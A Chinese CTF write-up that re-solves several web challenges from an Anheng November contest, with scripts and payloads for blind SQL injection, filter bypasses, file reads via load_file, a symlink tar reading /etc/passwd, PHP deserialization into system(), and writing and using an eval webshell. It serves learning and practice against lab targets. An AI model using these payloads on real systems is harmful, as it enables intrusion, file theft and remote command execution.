考完网络安全跟算法就赶紧来复现一下题目,又学到了一波知识了23333,这次题目的质量贼好

手速要快

上一个月的原题,不多说,直接在http头里面找到对应的password登陆以后直接就是关于页面上传的功能,这里的上传是服务器端的问题
直接上传一个非php结尾的文件即可解析

然后可以直接输入相关命令获取flag不多说

好黑的黑名单

这个题目质量很好,至少我以前都没见过这种盲注,里面利用了between的几个特性,又学到了2333
右键查看源代码就会发现很明显的id参数,这里的思路就是SQL注入

尝试对其进行注入,发现其明显是存在过滤的,一旦遇到关键字就会返回这么坏?想让我下面给你吃吗?XD的字样
如果查询不到的话就会返回想让我下面给你吃?
fuzz一下大概发现过滤的东西有空格,*,union,单引号等等,所以我们就不可以用内联的注入,这里空格我们可以用%0a去绕过,测试一下

下面就是这次盲注的重点知识利用between and

上面两个执行语句就解释了为什么可以这样做,当select的值在between之间就会返回1,而且前面选择出来的词语会按照顺序匹配,第一个匹配正确的话就会匹配第二个

而且还可以固定好最后一位,然后前面一步步去字母给找出

但是把数据库跑出来以后后面继续加上空格还是会显示1,这在写脚本的时候得注意一下,还有几点得注意下,单引号过滤掉可以使用16进制,另外information_schema.tables被过滤可以使用information_schema%0a.tables这样去绕过

#!/usr/bin/python
# Author:0verWatchimport requestsburl = 'http://101.71.29.5:10008/show.php?id=-1'flag  = 0
ans  = ''
result = ''for i in range(40):if flag == 0:for j in range(127,32,-1):if j == 33:flag = 1#payload = '%0aor%0a(select%0adatabase()%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)' #web#payload  = '%0aor%0a(select%0a(select%0agroup_concat(table_name)%0afrom%0ainformation_schema%0a.tables%0awhere%0atable_schema%0abetween%0a0x776562%0aand%0a0x776562)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)'  #admin,flaggg,menu#payload = '%0aor%0a(select%0a(select%0agroup_concat(column_name)%0afrom%0ainformation_schema%0a.columns%0awhere%0atable_name%0abetween%0a0x666c61676767%0aand%0a0x666c61676767)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)'  #id,f1aggpayload = '%0aor%0a(select%0a(select%0af1agg%0afrom%0aflaggg)%0abetween%0a0x'+result+hex(j)[2:4]+'%0aand%0a0x7a)'url = burl+ payloadcon  = requests.get(url)
#           print(con.text)if u"郑州" in con.text:ans = ans + chr(j)print(result)result = result + hex(j)[2:4]breakprint(ans)

愉快地拿到flag

interesting web

这个题目上来就发现有注册,登录,找回密码的功能,通常我们需要注册看一下
登陆之后发现上传页面,但是根据页面一开始提示说明管理员才可以上传tar包,这里就容易想到软连接,但是首先我们得以admin身份登录,这时候根据http可以发现这应该是flask框架写的web

这里有一个点就是flask框架的session可以在浏览器端查看,并且可以读取里面的token值,

这东西可以利用在找回密码的功能上面

这里面的token值我们可以用来直接修改admin的密码,这东西恰好就是修改密码需要的东西
然后再以admin身份登录,上一个软连接的tar包,先构造一下tar包

ln -s /etc/passwd 2222222.jpg
tar cvfp 233.tar 2222222.jpg

上传后tar包解压,然后curl一下该图片地址获取flag

image up

一上来就是个登录页面其实这个登录页面没有用,你随便输如都可以登录到后台上传页面

可以看到url,可能存在文件包含,尝试一下读取文件,可以读到一下index以及upload页面
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=index
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=upload

index.php

<? php
if (isset($_GET['page'])) {if (!stristr($_GET['page'], "..")) {$page = $_GET['page'].".php";include($page);} else {header("Location: index.php?page=login");}
} else {header("Location: index.php?page=login");
这里的代码验证不需要任何检验就可以登录<? php $error = "";
$exts = array("jpg", "png", "gif", "jpeg");
if (!empty($_FILES["image"])) {$temp = explode(".", $_FILES["image"]["name"]);$extension = end($temp);if ((@$_upfileS["image"]["size"] < 102400)) {if (in_array($extension, $exts)) {$path = "uploads/".md5($temp[0].time()).".".$extension;move_uploaded_file($_FILES["image"]["tmp_name"], $path);$error = "????????????!";} else {$error = "???????????????";}} else {$error = "??????????????????????????????";}
} ?>

从文件上传的而这段代码也很容易看,就是文件名加上时间戳然后再MD5拼接成新的文件名,这两个东西我们可以进行预测
自己本地新建一个over.php
里面的内容

<?php phpinfo();@eval($_POST['_']);
?>

把该文件压缩,然后改后缀名为.jpg的图片文件,接着就该预测路径名字并使用伪协议
这里很坑,有个时区的问题加上8*3600

# -*- coding: UTF-8 -*-
import time
import requests
import hashliburl = "http://101.71.29.5:10007/"
def md5(str):m = hashlib.md5()m.update(str)return m.hexdigest()
files = {"image":("over123.jpg",open("over.jpg","rb"))
}
#print open("over.jpg","rb")
t = int(time.time()+8*3600)
requests.post(url=url+"upload.php",files=files)
for i in range(t-100,t+150):path = "uploads/"+md5("over123"+str(i))+".jpg"#print 'Waiting'status = requests.get(url=url+path).status_codeif status ==200:print pathbreak

爆出路径
uploads/cf0dd54323ba204f8151905e912964c1.jpg
最后的关键点是利用伪协议进行命令执行,这里同样的也可以使用phar,关键是把%23改为/就好,注意这里不需要对文件加上相关的后缀
http://101.71.29.5:10007/index.php?page=zip://./uploads/cf0dd54323ba204f8151905e912964c1.jpg%23over

得到flag

ezsql

这一题质量很好哇,考了SQL注入读取文件,反序列化,命令行执行的绕过

先看看注入点,这里注册进去之后在用户信息里面明显看到id参数,这里就可以测试一下,这里通过这次两个题目的注入,可以学到到先要根据数据库返回的信息来做出自己的判断,比如查到会回显什么,查不到又会回显什么,语法错误又会回显什么等等,根据这个东西去做出判断应该作何注入

这里还有一个点也是学到的就是怎么测试他是用替换还是删除来过滤黑名单,我们只需要再注册的地方放输入类似select之类的关键字就会在用户页面发现被替换成@。下一个题目也是类似的道理。

这一个题可以有两种构造布尔盲注的思路一种是利用limit,另一种是用加减号等运算符号,这里同样是很好的学习点

可以来构造SQL读文件的语句了
这里这样构造http://101.71.29.5:10015/user/user.php?id=1-1根据这里的减1还是减0去判断是否存在我们猜测的文件
首先得了解一下当数据库里面secure_file_priv的值是空的话,就可以读取任意文件

开始构造语句
http://101.71.29.5:10015/user/user.php?id=1-(load_file('/var/www/html/index.php') like '<%')
但是不能出现引号16进制转一下
http://101.71.29.5:10015/user/user.php?id=1-(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870) like 0x3c25)
又因为读文件的时候会出现换行等问题而不能全读取因此将loadfile的内容16进制转一下
http://101.71.29.5:10015/user/user.php?id=1-(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870)) like 0x3c25)

模仿着写一个脚本,这里有点不明白的是为什么这里的脚本传进去的字符已经是16进制字符为毛还得hex一次?除了那个%确实需要16进制转一下,但是我试了一下不hex的话不能跑出来,有大佬告诉一下我原因吗23333.

#!/usr/bin/python
# Author:0verWatch
# coding:utf-8import requests
import binascii
import stringhex_s = lambda s:binascii.hexlify(s)
s = 'ABCDEF' + string.digits
filename = '/var/www/html/index.php'
#filename = '/var/www/html/config/waf.php'
ans = ''
url = 'http://101.71.29.5:10015/user/user.php?id=2-if(hex(load_file(0x%s)) like 0x%s,1,2)'for i in xrange(10000):for j in s:payload = ans + j + '%'_url = url % (hex_s(filename),hex_s(payload))#print _urlcon = requests.get(_url, cookies={"PHPSESSID":"vn7dm5pk3dqvicrkg43om69hi0"})if '2018' in con.content:print '...'+payloadans = ans + jbreak

然后得到index.php的关键代码

<?php
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){$config = $_COOKIE['CONFIG'];require_once('config/config.php');
}
?>

再去读取config.php里面的内容

<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){$p=$_GET['p'];$config->$p;
}
class Config{private $config;private $path;public $filter;public function __construct($config=""){$this->config = $config;echo 123;}public function getConfig(){if($this->config == ""){$config = isset($_POST['config'])?$_POST['config']:"";}}public function SetFilter($value){//        echo $value;$value=waf_exec($value); var_dump($value);if($this->filter){foreach($this->filter as $filter){$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);}$this->filter = array();}else{return false;}return true;}public function __get($key){//var_dump($key);$this->SetFilter($key);die("");}
}

还有一个waf.php,对上面的$value值进行了过滤,这里对命令执行的一些常用语句进行了过滤,所以我们需要进行绕过

<?php
function waf($str){$black_str = "/(and|into|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";$str = preg_replace($black_str, "@@",$str);return addslashes($str);}
function waf_exec($str){$black_str = "/(;|&|>|}|{|%|#|!|\?|@|\+|\/| )/i";$str = preg_replace($black_str, "",$str);return $str;}
?>

这里的关键是分析config.php里面的代码,一看里面存在unserialize这样的东西,就应该考察的是反序列化,但是这里考的点不是魔法函数,因为构造函数里不存在可以利用的点,但是在SetFilter这个方法里面存在call_user_func这样的回调函数,这个函数第一个参数你想要执行的函数名,第二个参数是要传进去该函数的参数,这里就可以去执行命令
先构造类

$over  = new Config();
$over->filter = array("system");
echo base64_encode(serialize($over));

现在的关键点是对$value赋值,这个东东通过 SetFilter这个方法去传参,往上是通过__get去调用的
这个函数的功能是可以调用类里面的私有变量,也可以使用未定义的变量进行赋值,然后config参数是通过cookie传参的,把构造好的序列化放进cookie里面

CONFIG=Tzo2OiJDb25maWciOjM6e3M6MTQ6IgBDb25maWcAY29uZmlnIjtzOjA6IiI7czoxMjoiAENvbmZpZwBwYXRoIjtOO3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=

尝试ls命令,出现flag字样的东东,但其实这是个文件夹,可以用ls -l 查看一下

但是因为空格被过滤了,用$IFS绕过,同样地/也被过滤了同样需要绕过,这里用expr substr $(pwd) 1 1去绕过
注意这里面的空格也得变成$IFS,但是直接变成expr$IFSsubstr$IFS$(pwd)$IFS1$IFS1也不行,因为系统辨别出不出,会出现这样的结果

所以得用\分割一下

得到路径下存在flag.php

string(54) "ls$IFS.`expr$IFS\substr$IFS$(pwd)$IFS\1$IFS\1`flag2333" flag.php

开始尝试读取文件了

http://101.71.29.5:10015/index.php?p=cat$IFS.`expr$IFS\substr$IFS$(pwd)$IFS\1$IFS\1`flag2333`expr$IFS\substr$IFS$(pwd)$IFS\1$IFS\1`flag.php

获得flag

write a shell

这一题也是要测试出来可以用loadfile读文件,先把文件读出来,写了个脚本读文件,读的是user.php的页面源码,前提是得有超过127的用户注册才可以很顺利地读取源码,如果不够可以自己写个脚本跑一下

#!/usr/bin/python
# Author:0verWatch
# coding:utf-8import requests
import re
url = "http://101.71.29.5:10011/user/user.php?id=ascii(mid(load_file(0x2f7661722f7777772f68746d6c2f757365722f757365722e706870),{_},1))"
con = ''for i in xrange(1,100000):ans=requests.get(url.format(_=str(i)),cookies={'PHPSESSID':'bvbjr3qjrktp6qfn393f6itso0'})s = re.findall(r"<h1>user_id:(.*?)</h1>",ans.content)con = con+chr(int(s[0]))print con

读出来一部分关键代码是这样子的

<?php
include_once('../bwvs_config/sys_config.php');if (isset($_SESSION['user_name'])) {include_once('../header.php');if (!isset($SESSION['user_id'])) {$sql = "SELECT * FROM dwvs_user_message WHERE user_name ="."'{$_SESSION['user_name']}'";$data = mysqli_query($connect,$sql) or die('Mysql Error!!');$result = mysqli_fetch_array($data);$_SESSION['user_id'] = $result['user_id'];}$html_avatar = htmlspecialchars($_SESSION['user_favicon']);if(isset($_GET['id'])){$id=waf($_GET['id']);$sql = "SELECT * FROM dwvs_user_message WHERE user_id =".$id;$data = mysqli_multi_query($connect,$sql) or die();do{if($result = mysqli_store_result($connect)){$row = mysqli_fetch_row($result);echo '<h1>user_id:'.$row[0]."</h1><br><h2>user_name:".$row[1]."</h2><br><h3>

同样的道理我们可以把bwvs_config/waf.php里面的内容读出来,可以看到过滤的内容

<?php
function waf($str){$black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&]|\^)/i";$str = preg_replace('/@/','@-@',$str);$str = preg_replace($black_str, "@",$str);return addslashes($str);
}?>

题目提示要写shell,就需要找可以写shell的文件路径,但得找到具有写权限的文件夹才可以执行,这里的关键点是利用这段代码mysqli_multi_query的多行执行语句去执行相关的写操作。
这里涉及到一个新的知识点,就是SQL的预编译语句,通过定义变量名的方式,用execute语句去执行相关操作
预制语句的SQL语法基于三个SQL语句:

PREPARE stmt_name FROM preparable_stmt;EXECUTE stmt_name [USING @var_name [, @var_name] ...];{DEALLOCATE | DROP} PREPARE stmt_name;

在自己机子上试一下

因此可以来构造一下语句PREPARE over FROM "select * from ….";但是waf里面很明显就是过滤了select我们需要去绕过一下还有单双引号都被转义,这就需要char()以及concat()函数的协助了,也可以正常显示

下面就到使用into outfile的时候了,但还是得先找到那一个目录可以写文件,这里面我们还有一个上传的功能点没用到,一般上传的话我们需要开启写的权限,你自己写一次上传的代码就会知道,如果没有写权限的话,就会使服务器报错,所以图片保存的地方就应该是可以目录,可以查看图像的目录放在哪

在这一个目录下,这样我们就基本确定shell该放在哪里,这里的话其实还有一个点就是网站目录要怎么显示,可以利用show variables like ‘secure_file_priv%’;去查看对应的信息,如果是空的话说明哪里都可以读或者写目录了,根据user.php里面的代码可以知道执行之后会显示1,2,5列,所以我们可以将这个语句转化一下就可以知道那个目录可以写了,这样比猜靠谱多了。。。。

现在就可以构造一下语句了

"select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/favicon/over.php'"

把双引号里面的东西转一下

SET @b=concat(CHAR(115, 101, 108, 101, 99, 116, 32, 39, 60, 63, 112, 104, 112, 32, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62, 39, 32, 105, 110, 116, 111, 32, 111, 117, 116, 102, 105, 108, 101, 32, 39, 47, 118, 97, 114, 47, 119, 119, 119, 47, 104, 116, 109, 108, 47, 102, 97, 118, 105, 99, 111, 110, 47, 111, 118, 101, 114, 46, 112, 104, 112, 39));
PREPARE s from @b;
EXECUTE s;

但是这样还是不行,因为@会被替换成@-@,所以得利用黑名单的替换功能把@变成黑名单里面的东西,经过黑名单替换后就会变成@啦

SET ^b=concat(CHAR(115, 101, 108, 101, 99, 116, 32, 39, 60, 63, 112, 104, 112, 32, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 99, 109, 100, 93, 41, 59, 63, 62, 39, 32, 105, 110, 116, 111, 32, 111, 117, 116, 102, 105, 108, 101, 32, 39, 47, 118, 97, 114, 47, 119, 119, 119, 47, 104, 116, 109, 108, 47, 102, 97, 118, 105, 99, 111, 110, 47, 111, 118, 101, 114, 46, 112, 104, 112, 39));
PREPARE s from ^b;
EXECUTE s;

然后找到favicon/over.php直接菜刀连接就可以了

小结

这里就简单小结一下:
1.python flask的session机制问题,可以利用其构造管理员身份登录
2.构造软连接去读取文件内容
3.注入点如何构造逻辑,如何测试通过注册页面探测过滤字符以及过滤方式
4.利用伪协议读取文件,并且如何利用伪协议进行命令执行
5.PHP反序列化里面的__get()方法起到的作用,如何去使用它对可控变量赋值
6.利用SQL注入读写文件的前提,如何查看
7.命令执行以及SQL注入绕过的一些小trick

安恒11月赛Web题目复现相关推荐

  1. 衡师11月月赛web题目wp

    目录 1.丢三落四的学姐 2.wep?Pwn!!! 这题web部分是buuctf中的DASCTF X GFCTF 2022十月挑战赛!的原题 1.丢三落四的学姐 访问题目位置,很明显的phpstudy ...

  2. [*CTF2022]web题目复现及wp

    文章目录 WEB oh-my-grafana oh-my-notepro 坑点 oh-my-lotto 非预期 PATH变量 WGETRC变量 oh-my-lotto-revenge 非预期 WGET ...

  3. DASCTF安恒三月赛re部分复现

    Drinksometea 题目给了exe和一个tea.png.out(加密完生成的文件),哇这个第一题做了我一天啊...已知是tea就卡在不会文件读写是真的难受住了呜呜呜呜 逻辑是很清晰的,Creat ...

  4. [MRCTF 2022]web题目复现

    文章目录 WEB webcheckin God_of_GPA 非预期 非预期1-夺舍bot 非预期2-oauth xss 非预期3-CSRF Tprint hurry_up BONUS Java_me ...

  5. 2019年CTF4月比赛记录(三):SUSCTF 2nd、DDCTF、国赛线上初赛部分Web题目writeup与复现

    四月中旬以来事情还是蛮多的,先捋一捋: 首先有幸参加了东南大学承办的SUSCTF 2nd,虽然比赛的规模不是很大,但是这也是第一次以小组的方式正式参加比赛,也是对前期学习成果的检验.在同组成员的努(带 ...

  6. 流量分析_安恒八月月赛

    前言: 流量分析很有意思,之前忙于考试,暂时没有学习了,考试结束了就来总结一下一些CTF下常见的流量分析的题型. 0x00:流量包修复 使用wireshark打开流量包发现报错,可以使用在线pacp包 ...

  7. 「CodePlus 2017 11 月赛」可做题

    题目描述 qmqmqm 希望给 sublinekelzrip 出一道可做题.于是他想到了这么一道题目:给一个长度为n的非负整数序列ai​​,你需要计算其异或前缀和bi,满足条件b1=a1​​,bi=b ...

  8. 近段时间参加的CTF竞赛部分题目复现(ISCC2020 、GKCTF、网鼎杯)

    本文目录 前言 ISCC Misc 签到题 耳听为实 千层套路 ISCC Web Php is the best language ISCC成绩查询-2 ISCC成绩查询_3 What can ima ...

  9. HTML5期末大作业:旅行网站设计——开心网旅游(11页) web前端期末大作业 html+css+javascript网页设计实例

    HTML5期末大作业:旅行网站设计--开心网旅游(11页) web前端期末大作业 html+css+javascript网页设计实例 常见网页设计作业题材有 个人. 美食. 公司. 学校. 旅游. 电 ...

最新文章

  1. AI一分钟 | 妈呀!连地铁都开始无人驾驶了,飞机还远吗;北京无人驾驶新规出台,终于知道李彦宏该不该被罚了(12月19日)
  2. 武汉城市职业学院计算机分数线,武汉城市职业学院录取分数线2021是多少分(附历年录取分数线)...
  3. No valid host was found. There are not enough hosts available
  4. redis 4.0.8 源码包安装集群
  5. 微信公众平台开发书籍推荐
  6. 微信jssdk 图片上传 JAVA_微信jssdk图片上传
  7. 微信浏览器禁止页面下拉查看网址
  8. JavaScript常用函数总结
  9. 在Spring Boot中使用 @ConfigurationProperties 注解
  10. flink的savepoints和checkpoints以及state Query(暂时无法全部完成)
  11. 阻塞、非阻塞、同步与异步
  12. Asp.Net Core Blazor之容器部署
  13. Springboot后台管理(CRUD)
  14. 我的世界python写游戏_快来试试Python写的游戏《我的世界》
  15. 使用AWS DMS 升级Postgre 10到12
  16. 基于Hadoop生态系统的一种高性能数据存储格式CarbonData(基础篇)
  17. oracle设置禁用外键,oracle禁用表外键
  18. AI 最新突破集锦 AI的瓶颈和进展 AI控制核聚变 AI预测蛋白质3D结构 Alpha Fold2 AI证明数学公式 自动驾驶 AI替代的硬件
  19. 《Adams/ view从入门到提高》视频 —— ftc正青春
  20. 服务器属于网络计算机,服务器它到底是什么,和电脑又有什么区别

热门文章

  1. 为什么我的pycharm创建不了python_[新手向视频]新版PyCharm创建项目为什么会有问题...
  2. 根据数据库表字段动态生成选择画面[FREE_SELECTIONS_DIALOG FREE_SELECTIONS_INIT]
  3. 用Electron开发的Windows快捷启动工具:Dawn Launcher
  4. iReport制作报表
  5. 别让用户发呆—设计中的防呆的6个策略
  6. metasploit基础命令介绍
  7. 九联UNT403G/UNT413G_国科GK6323芯片_5621ds无线wifi_免拆卡刷固件
  8. 推荐一个ubuntu下的shell插件terminator集成第三方插件
  9. 在本地计算机无法启动错误1068,为什么本地计算机“无法启动Print Spooler服务,错误1068,依存服务或组无法启动”?...
  10. 用UDP实现简易的聊天室